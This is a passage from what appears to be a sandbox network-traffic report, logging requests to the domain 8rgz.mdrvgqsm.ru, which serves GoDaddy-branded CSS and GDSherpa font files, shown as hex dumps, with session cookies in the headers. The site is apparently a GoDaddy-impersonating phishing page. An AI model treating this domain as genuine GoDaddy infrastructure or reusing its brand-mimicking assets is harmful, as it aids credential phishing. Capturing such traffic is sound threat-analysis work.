2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 32 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 34 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 Data Ascii: uxText--fontSize1) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize3: calc(var(--uxText--fontSize2) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize4: calc(var(--uxText--fontSize3) var(--ux-y4pg8z,*) var(--ux-7s4p3v,1.125
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 20 35 30 30 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 73 76 67 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 20 20 66 69 6c 6c 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2d 69 6e 70 75 74 2d 73 68 65 6c 6c 20 2e 75 78 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 36 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 Data Ascii: 500;}#sections_godaddy .ux-alert svg { color: currentColor; fill: currentColor;}#sections_godaddy .ux-text-input-shell .ux-text-caption { margin-top: 6px; font-size: 13px;}#sections_godaddy .ux-field-frame.ux-field-fra
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 0a 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 66 6c 65 78 2d 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 73 72 2d 6f 6e 6c 79 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 77 69 64 74 68 3a 20 31 70 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 Data Ascii: justify-content: flex-end!important;}#sections_godaddy .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; overflow: hidden; -webkit-clip: rect(0,0,0,0); clip: rect(0,0,0,0); white-space: nowrap; -webkit
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 5f 67 6f 64 61 64 64 79 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 20 7b 0d 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2e 30 39 33 37 35 72 65 6d 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 Data Ascii: _godaddy input[type=checkbox] { box-sizing: border-box; padding: 0; vertical-align: .09375rem;}#sections_godaddy .container { margin-left: auto; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 20 35 29 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6c 65 79 6e 73 6d 2c 23 30 30 30 29 3b 0d 0a 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6f 6e 74 2d 70 72 69 6d 61 72 79 2d 62 6f 6c 64 20 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 30 36 37 Data Ascii: 5); color: var(--ux-1leynsm,#000); border: 1px solid var(--ux-97h3vl,#d3d3d3);}#sections_godaddy .ux-card .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .font-primary-bold { font-family: var(--ux-1067
2025-03-20 07:57:06 UTC	1369	IN	Data Raw: 6c 65 64 5d 29 3a 61 63 74 69 76 65 20 7b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 6f 37 6a 75 30 68 2c 76 61 72 28 2d 2d 75 78 2d 39 71 70 66 36 63 2c 23 30 30 66 29 29 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 75 71 34 39 70 67 2c 76 61 72 28 2d 2d 75 78 2d 68 36 65 37 63 31 2c 23 66 66 66 29 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 34 68 76 6f 76 6e 2c 76 61 72 28 2d 2d 75 78 2d 31 78 6c 69 75 68 69 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 2e 75 78 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a Data Ascii: led]):active { background-color: var(--ux-o7ju0h,var(--ux-9qpf6c,#00f)); color: var(--ux-uq49pg,var(--ux-h6e7c1,#fff)); border-color: var(--ux-4hvovn,var(--ux-1xliuhi,transparent));}#sections_godaddy .ux-button.ux-button-primary { color:

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	1373	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive Origin: https://8rgz.mdrvgqsm.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
2025-03-20 07:57:07 UTC	1164	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:07 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" Last-Modified: Thu, 20 Mar 2025 07:57:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g8F2CXADu3mp%2FTiDZI2yrgFADSJz%2BAN4kfGwQmCGoWBaz5NExJaoDtZ90b4b1HjUsftC5G7Y4ypNYtov5r%2Fb2rTlE%2Fysp0hNmvvlh7rBqw6fpYVO6vlCgKq3W%2FVn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10318&min_rtt=10243&rtt_var=3895&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2327&delivery_rate=278043&cwnd=252&unsent_bytes=0&cid=0dcadf728e506186&ts=602&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9233a8221b4a5e7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=98726&min_rtt=97484&rtt_var=22432&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1945&delivery_rate=36885&cwnd=227&unsent_bytes=0&cid=b85d197fa3fb9d3e&ts=1048&x=0"
2025-03-20 07:57:07 UTC	205	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af ac 8d fe 73 19 56 d4 8c c4 6a b4 99 8b 0e Data Ascii: 7kv2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YSsVj
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 a3 2c a1 5c 8f a6 25 41 94 a6 fc ba 38 e6 Data Ascii: l\w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/,\%A8
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 ca 08 44 a9 f4 ff 94 fa eb 3b bb 83 8b 02 47 f2 cd 86 8c 7f 4e e1 32 e7 d8 15 ae 79 f8 47 8f fa 05 96 b1 d9 36 75 60 b8 9c 89 84 ab 0f ce b6 0d b0 e5 e9 e7 53 21 f4 1c 5b 5e ef 2c e5 1d e5 33 06 58 b9 e3 bf 4b 32 40 cb 15 6f 86 0b 94 4f 42 ca e2 c7 88 be 73 54 45 83 70 c0 53 0f 20 a4 a1 c9 b1 40 1c 44 ef 81 97 5a db 50 18 22 a5 a5 70 8f 5f eb 4d ed 09 f5 04 d0 0c 6c ac d1 b3 da a0 5c ef 6b c9 93 48 d8 73 12 fe 6f 47 42 f7 de 47 8d 7e 39 a2 63 8a a3 c3 11 1b f3 63 3b c1 97 86 57 c5 13 9c 32 39 ea a5 bd 1f e9 a5 a8 95 ab e9 c3 25 f8 f4 7b a0 cc 90 77 51 d2 bd f8 79 19 f2 a2 47 74 0c d9 1e 6c 61 83 6b 8d 97 d4 Data Ascii: aRGuYyV</m8b3g'?!#Lf$'D;GN2yG6u`S![^,3XK2@oOBsTEpS @DZP"p_Ml\kHsoGBG~9cc;W29%{wQyGtlak
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 4e 21 d6 57 4e 46 0f 3c c3 ed 46 2e 7c 76 0c b0 f5 48 c7 45 ff c9 ed f1 ab 91 fa 72 a5 ca 0f 4f 04 7a 13 ca b1 46 a7 b9 aa 87 1a 89 7e 63 b0 92 a4 e6 f9 de 46 9f dd 71 be 20 de e9 fd 8c 00 5a c9 1e 8a 23 4a 27 a0 ce 42 1e 5b 6d 40 40 3c bf 46 bf 87 3b 88 a3 bb ff 22 63 84 3f f6 b8 70 7f e1 e6 bf 7e 53 e1 e5 89 5b 97 e8 15 a4 24 20 35 29 73 9b 30 1c 97 3a f4 09 c6 df 6d af a6 d6 b1 39 44 4c 43 64 c3 d7 30 ff 90 97 df d3 35 dd 6c dd 23 7d 72 b0 63 e6 28 7b ec 1b cb 1d 01 12 cf d5 46 05 58 bf 47 3d 6f b5 4b 00 12 0c 03 15 52 e1 0d 36 3c 0b fa cd 75 d3 91 a9 e1 be 6c 7c 7c 41 17 7b 2e f2 7f 71 2f 44 85 82 85 df Data Ascii: =yoPT_{9pX`c0wRB6N!WNF<F.\|vHErOzF~cFq Z#J'B[m@@<F;"c?p~S[$ 5)s0:m9DLCd05l#}rc({FXG=oKR6<ul\|\|A{.q/D
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 13 01 62 ac 2c 71 16 6d 89 15 43 a2 4a 3b 58 10 63 15 56 19 85 c5 5a 67 71 36 93 89 64 c8 42 5e fa 4a 16 a3 48 89 c8 fb 86 a8 c7 95 6b f6 a2 f4 d9 42 5c e7 8c c8 5f 20 a2 10 a1 50 0e 9d 41 74 56 1d 2a 51 71 92 c8 4a 96 0a ed 93 8a 89 29 51 0e e3 ab 6a 60 7d 4b 03 9c 1f 74 2c 5e 9b da c2 4a 6b 65 09 da 58 6f 5f b0 f2 da 59 6e 1d ac 82 4e 2a fd d5 ab 8a a3 e8 d1 8b ac 4f 3f 69 03 98 28 06 61 15 0d b1 74 67 59 6f d3 2c c5 28 2b 60 8c 95 31 ce 0a 9a 60 9d 2c b0 42 a6 58 17 4b ac b0 19 96 6a 96 c5 9b 63 15 b1 58 bc 05 56 de 22 4b b1 c4 2a 5a 66 05 ad b0 9e ae b3 de 96 59 0a 36 eb ea 6b 96 62 83 e5 75 85 1a 7d 6d Data Ascii: \g1Gd%0Bc~Bd2DRP7'_+R)7R$b,qmCJ;XcVZgq6dB^JHkB\_ PAtVQqJ)Qj`}Kt,^JkeXo_YnNO?i(atgYo,(+`1`,BXKjcXV"K*ZfY6kbu}m
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d e7 9d 71 5e ab 6f d5 3a fd e6 a3 ea 80 0b a6 f8 b7 66 9b 6a f9 f3 de b0 6c 5d 91 41 fb 55 e9 61 b1 07 7f af 1a 07 d4 e9 74 d4 71 87 1d 53 6b 42 d2 61 a3 2a dc 56 2f f9 94 4b e8 6e 35 a0 95 fc 21 95 ba 39 12 3d ac 96 41 e5 cc 83 5e 3e db 79 03 f8 0c 5e cb 96 bf 92 2a 5b bd e6 b9 2a a9 bb e2 91 c7 9e 78 e6 b9 57 66 7d b3 65 db 77 bf e3 de 80 35 64 25 fd 36 92 47 cf 3e 7d 5f 6e e3 ad 58 7f be b1 99 be cd 15 de 0b 26 5e 92 c5 62 ef 35 07 6f 38 79 c7 d1 5b 2e 56 29 5a 45 f7 91 a7 7f 79 f9 44 ce 02 0f ff f0 f2 93 bc 4e c0 f5 02 6f c0 b8 91 b2 35 fb 6e 15 7c 8b bd 77 6a dd 43 b1 df 38 9a 7b 42 ef 12 76 b7 75 e1 ed Data Ascii: Zrn~~{7/&6X=JO7?Yq^o:fjl]AUatqSkBaV/Kn5!9=A^>y^[xWf}ew5d%6G>}_nX&^b5o8y[.V)ZEyDNo5n\|wjC8{Bvu
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 ee 5c ef b4 cb 85 21 1e 96 9d a0 a3 b1 c2 7d 45 9d 56 20 61 10 ab 5e 8e af b7 44 c1 41 79 72 28 b2 40 92 a6 76 40 d7 e9 9b 4e 17 70 c3 eb 07 ce b7 44 c7 5b c7 63 f9 4a fd d8 4e 56 2f cf af ee d8 24 78 49 15 c6 14 f7 ab 2c a4 75 fe c9 c2 66 1c d6 24 71 d3 2d 29 99 d0 52 63 a2 e2 cd b4 65 85 a7 0e 36 57 41 36 56 58 30 d6 23 83 e3 70 94 17 66 1c c2 45 aa ae cb b4 7a ea 60 12 7c b4 a5 f8 88 b5 1e 5e c2 f4 84 11 6c b3 6a 2f 19 20 76 93 d4 30 8c a0 43 60 5a 02 b6 86 06 43 15 03 f8 e9 de 72 8e 3a 34 91 e2 f4 87 5f a5 aa 47 88 20 c9 fa fb ce 20 2b 8c 56 d2 ed aa 25 a8 23 24 28 3a a4 17 c2 5e 60 66 2a 8e 73 a7 de 62 Data Ascii: K)iuC-hXC1uhO~4w'\!}EV a^DAyr(@v@NpD[cJNV/$xI,uf$q-)Rce6WA6VX0#pfEz`\|^lj/ v0C`ZCr:4_G +V%#$(:^`f*sb
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 28 88 e9 61 21 f3 ca 66 a2 92 b8 04 af ef 77 01 2a 09 ff 91 f0 69 77 23 61 21 25 46 28 08 a1 1a b9 32 ee a4 7a 2c 43 f1 5d 0f d7 d9 65 89 90 f3 df f1 15 f0 d2 09 5d e7 95 37 00 18 28 22 e9 a2 1e b9 c0 9b ab 68 a3 79 74 d9 52 b7 93 7a dc 8b 03 36 d0 90 31 30 a2 22 39 30 0b e9 af c4 ac ee 1a a5 27 78 e5 94 89 1f 92 35 2f d0 e1 36 92 dc 13 cf 16 14 2d f4 74 a5 e6 a9 57 17 69 9d 9f 61 97 5b a0 ea 8a dd 0a 65 cc b0 71 0d 44 47 a3 1c 7c 10 58 24 97 38 21 0c 62 5b 68 70 c9 54 52 48 b1 b4 62 11 48 69 de 26 c2 4b bb 1b 92 67 61 05 df cc 2e 5d fc b1 d9 57 bf 1d 61 25 09 cc c4 e7 b3 02 52 4f 2e 36 c9 82 17 10 4f b8 dd Data Ascii: PW=VEUa_.=(ImoFx.G\Q\|Iy](a!fw*iw#a!%F(2z,C]e]7("hytRz610"90'x5/6-tWia[eqDG\|X$8!b[hpTRHbHi&Kga.]Wa%RO.6O
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 f6 0b 06 34 25 52 bf 52 4c 70 57 bf 97 33 c0 a8 71 9a 82 4d 81 d9 7c bc f7 d8 5f 66 46 0a 04 a5 9f 95 0f 3d fc 2f 17 3f 5e 43 fd 6c 6d e7 27 06 d3 df 98 97 6a 86 dc 2e 0c ba 71 ba ba 58 36 2e ce 5f 11 69 c0 a3 ae 38 d2 24 16 b8 20 50 cc fd 01 0f eb cb 42 75 0d 29 de 40 02 76 62 ac 0d d6 cc b6 42 3e f2 ed f1 93 3b 5f aa 81 90 71 ec ca ab 8a 73 b5 c4 68 3f 46 e1 c8 59 5d c2 3d da bf f9 eb 22 81 08 df 70 3e a9 f4 1e fe de 91 8e df 17 6f db e8 29 45 d2 10 bf 4e 8c 3d 28 54 f9 9c 6a 56 2d d4 f3 f9 8d 6f bb b1 5d 75 37 03 67 77 4b 0b 12 c2 6e 9b 97 47 5d ba be c7 ca 44 70 e6 80 2c 4f 95 71 9e 10 ea e0 14 1e ce 65 Data Ascii: 0W\|}8WfjsY}DKMKmB4%RRLpW3qM\|_fF=/?^Clm'j.qX6._i8$ PBu)@vbB>;_qsh?FY]="p>o)EN=(TjV-o]u7gwKnG]Dp,Oqe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	1372	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive Origin: https://8rgz.mdrvgqsm.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; 